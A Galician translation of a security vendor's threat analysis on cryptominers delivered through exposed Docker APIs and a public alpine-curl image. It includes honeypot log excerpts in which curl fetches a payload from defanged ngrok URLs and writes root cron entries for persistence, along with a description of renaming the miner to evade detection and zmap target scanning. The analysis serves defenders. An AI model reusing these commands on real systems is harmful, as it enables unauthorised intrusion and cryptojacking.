Como se están a utilizar a API de Docker non propietaria e as imaxes públicas da comunidade para distribuír mineiros de criptomoedas

Como se están a utilizar a API de Docker non propietaria e as imaxes públicas da comunidade para distribuír mineiros de criptomoedas

Analizamos os datos recollidos mediante contedores Honeypot, que creamos para rastrexar as ameazas. E detectamos actividade significativa de mineiros de criptomoedas non desexados ou non autorizados despregados como contedores deshonestos mediante unha imaxe publicada pola comunidade en Docker Hub. A imaxe utilízase como parte dun servizo que ofrece mineiros de criptomonedas maliciosos.

Ademais, instálanse programas para traballar con redes para penetrar en contedores e aplicacións veciñas abertas.

Deixamos os nosos honeypots tal e como están, é dicir, coa configuración predeterminada, sen ningunha medida de seguridade nin posterior instalación de software adicional. Teña en conta que Docker ten recomendacións para a configuración inicial para evitar erros e vulnerabilidades sinxelas. Pero os honeypots utilizados son contedores, deseñados para detectar ataques dirixidos á plataforma de contenerización, non ás aplicacións dentro dos contedores.

A actividade maliciosa detectada tamén é notable porque non require vulnerabilidades e ademais é independente da versión de Docker. Buscar unha imaxe de contedor configurada incorrectamente e, polo tanto, aberta é todo o que necesitan os atacantes para infectar moitos servidores abertos.

A API de Docker non pechada permite ao usuario realizar unha ampla gama de equipos, incluíndo a obtención dunha lista de contedores en execución, a obtención de rexistros dun contedor específico, o inicio, a parada (incluída a forzada) e mesmo a creación dun novo contedor a partir dunha imaxe específica cunha configuración especificada.

Como se están a utilizar a API de Docker non propietaria e as imaxes públicas da comunidade para distribuír mineiros de criptomoedas
Á esquerda está o método de entrega de malware. Á dereita está o ambiente do atacante, que permite a difusión remota de imaxes.

Como se están a utilizar a API de Docker non propietaria e as imaxes públicas da comunidade para distribuír mineiros de criptomoedas
Distribución por país de 3762 API de Docker abertas. Baseado na busca de Shodan do 12.02.2019/XNUMX/XNUMX

Opcións de cadea de ataque e carga útil

A actividade maliciosa detectouse non só coa axuda de honeypots. Os datos de Shodan mostran que o número de API Docker expostas (ver o segundo gráfico) aumentou desde que investigamos un contedor mal configurado usado como ponte para implementar o software de minería de criptomonedas Monero. En outubro do ano pasado (2018, datos actuais podes parecer así aprox. tradutor) só había 856 API abertas.

Un exame dos rexistros de honeypot mostrou que o uso da imaxe do recipiente tamén estaba asociado co uso de ngrok, unha ferramenta para establecer conexións seguras ou reenviar tráfico desde puntos de acceso público a enderezos ou recursos especificados (por exemplo, localhost). Isto permite aos atacantes crear URL de forma dinámica ao entregar a carga útil a un servidor aberto. A continuación móstranse exemplos de código dos rexistros que mostran o abuso do servizo ngrok:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Como podes ver, os ficheiros cargados descárganse de URL en constante cambio. Estes URL teñen unha data de caducidade curta, polo que as cargas útiles non se poden descargar despois da data de caducidade.

Hai dúas opcións de carga útil. O primeiro é un mineiro ELF compilado para Linux (definido como Coinminer.SH.MALXMR.ATNO) que se conecta ao grupo de minería. O segundo é un script (TrojanSpy.SH.ZNETMAP.A) deseñado para obter determinadas ferramentas de rede utilizadas para analizar intervalos de rede e despois buscar novos obxectivos.

O script de contagotas establece dúas variables, que logo se usan para implementar o mineiro de criptomoedas. A variable HOST contén o URL onde se atopan os ficheiros maliciosos e a variable RIP é o nome do ficheiro (de feito, o hash) do mineiro que se vai implementar. A variable HOST cambia cada vez que cambia a variable hash. O script tamén tenta comprobar que ningún outro mineiro de criptomoeda está a executarse no servidor atacado.

Como se están a utilizar a API de Docker non propietaria e as imaxes públicas da comunidade para distribuír mineiros de criptomoedas
Exemplos de variables HOST e RIP, así como un fragmento de código usado para comprobar que non hai outros mineiros en execución

Antes de iniciar o mineiro, cámbiase o nome a nginx. Outras versións deste script cambian o nome do mineiro a outros servizos lexítimos que poden estar presentes en ambientes Linux. Isto adoita ser suficiente para evitar verificacións na lista de procesos en execución.

O script de busca tamén ten características. Funciona co mesmo servizo de URL para implementar as ferramentas necesarias. Entre eles está o binario zmap, que se usa para escanear redes e obter unha lista de portos abertos. O script tamén carga outro binario que se usa para interactuar cos servizos atopados e recibir banners deles para determinar información adicional sobre o servizo atopado (por exemplo, a súa versión).

O script tamén predetermina algúns intervalos de rede para analizar, pero isto depende da versión do script. Tamén establece os portos de destino dos servizos, neste caso, Docker, antes de realizar a exploración.

En canto se atopen obxectivos posibles, os banners elimínanse automaticamente deles. O script tamén filtra obxectivos dependendo dos servizos, aplicacións, compoñentes ou plataformas de interese: Redis, Jenkins, Drupal, MODX, Mestre de Kubernetes, cliente Docker 1.16 e Apache CouchDB. Se o servidor dixitalizado coincide con algún deles, gárdase nun ficheiro de texto, que os atacantes poden usar posteriormente para a súa posterior análise e piratería. Estes ficheiros de texto cárganse aos servidores dos atacantes mediante ligazóns dinámicas. É dicir, úsase un URL separado para cada ficheiro, o que significa que o acceso posterior é difícil.

O vector de ataque é unha imaxe de Docker, como se pode ver nas dúas seguintes pezas de código.

Como se están a utilizar a API de Docker non propietaria e as imaxes públicas da comunidade para distribuír mineiros de criptomoedas
Na parte superior está o cambio de nome a un servizo lexítimo, e na parte inferior está como se usa zmap para escanear redes

Como se están a utilizar a API de Docker non propietaria e as imaxes públicas da comunidade para distribuír mineiros de criptomoedas
Na parte superior hai intervalos de rede predefinidos, na parte inferior hai portos específicos para buscar servizos, incluído Docker

Como se están a utilizar a API de Docker non propietaria e as imaxes públicas da comunidade para distribuír mineiros de criptomoedas
A captura de pantalla mostra que a imaxe de rizo alpino foi descargada máis de 10 millóns de veces

Baseado en Alpine Linux e curl, unha ferramenta CLI eficiente en recursos para transferir ficheiros a través de varios protocolos, pode crear Imaxe de Docker. Como podedes ver na imaxe anterior, esta imaxe xa foi descargada máis de 10 millóns de veces. Un gran número de descargas pode significar usar esta imaxe como punto de entrada; esta imaxe actualizouse hai máis de seis meses; os usuarios non descargaron outras imaxes deste repositorio con tanta frecuencia. En Docker punto de entrada - un conxunto de instrucións utilizadas para configurar un contedor para executalo. Se a configuración do punto de entrada é incorrecta (por exemplo, o contedor déixase aberto desde Internet), a imaxe pódese usar como vector de ataque. Os atacantes poden usalo para entregar unha carga útil se atopan un contedor aberto ou mal configurado que non é compatible.

É importante ter en conta que esta imaxe (alpine-curl) en si non é maliciosa, pero como podes ver arriba, pódese usar para realizar funcións maliciosas. Tamén se poden usar imaxes similares de Docker para realizar actividades maliciosas. Contactamos con Docker e traballamos con eles neste problema.

Recomendacións

Configuración incorrecta restos problema constante para moitas empresas, especialmente aquelas que implementan DevOps, centrado no desenvolvemento e entrega rápidos. Todo se ve agravado pola necesidade de cumprir as normas de auditoría e seguimento, a necesidade de vixiar a confidencialidade dos datos, así como o enorme dano derivado do seu incumprimento. A incorporación da automatización da seguridade no ciclo de vida do desenvolvemento non só che axuda a atopar buracos de seguridade que doutro xeito poderían pasar desapercibidos, senón que tamén che axuda a reducir a carga de traballo innecesaria, como executar compilacións de software adicionais para cada vulnerabilidade descuberta ou configuración incorrecta despois de que se implante unha aplicación.

O incidente comentado neste artigo destaca a necesidade de ter en conta a seguridade desde o principio, incluíndo as seguintes recomendacións:

  • Para administradores de sistemas e programadores: comprobe sempre a configuración da API para asegurarse de que todo estea configurado para aceptar só solicitudes dun servidor ou da rede interna específica.
  • Sigue o principio de dereitos mínimos: asegúrate de que as imaxes dos contedores estean asinadas e verificadas, limita o acceso a compoñentes críticos (servizo de lanzamento de contedores) e engade cifrado ás conexións de rede.
  • Segue recomendacións e habilitar mecanismos de seguridade, por exemplo. de Docker e incorporado características de seguridade.
  • Use a dixitalización automatizada de tempos de execución e imaxes para obter información adicional sobre os procesos que se executan no contedor (por exemplo, para detectar falsificacións ou buscar vulnerabilidades). O control de aplicacións e a vixilancia da integridade axudan a rastrexar os cambios anormais dos servidores, ficheiros e áreas do sistema.

Trendmicro axuda aos equipos de DevOps a crear de forma segura, a lanzarse rapidamente e a lanzarse en calquera lugar. Trend Micro Seguridade na nube híbrida Ofrece seguranza potente, simplificada e automatizada a través do pipeline DevOps dunha organización e ofrece varias defensas contra ameazas XGen para protexer as cargas de traballo físicas, virtuais e na nube en tempo de execución. Tamén engade seguridade de contedores con Seguridade profunda и Deep Security Smart Check, que escanean as imaxes do contedor Docker en busca de malware e vulnerabilidades en calquera momento do proceso de desenvolvemento para evitar ameazas antes de que se implanten.

Sinais de compromiso

Hash relacionados:

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

En Curso de video docker Os altofalantes que practican mostran cales son os axustes que se deben facer primeiro para minimizar a probabilidade ou evitar por completo que se produza a situación descrita anteriormente. E do 19 ao 21 de agosto nun intensivo en liña Ferramentas e trucos de DevOps Podes discutir estes e similares problemas de seguridade con compañeiros e profesores en exercicio nunha mesa redonda, onde todos poden falar e escoitar as dores e os éxitos dos compañeiros experimentados.

Fonte: www.habr.com

Engadir un comentario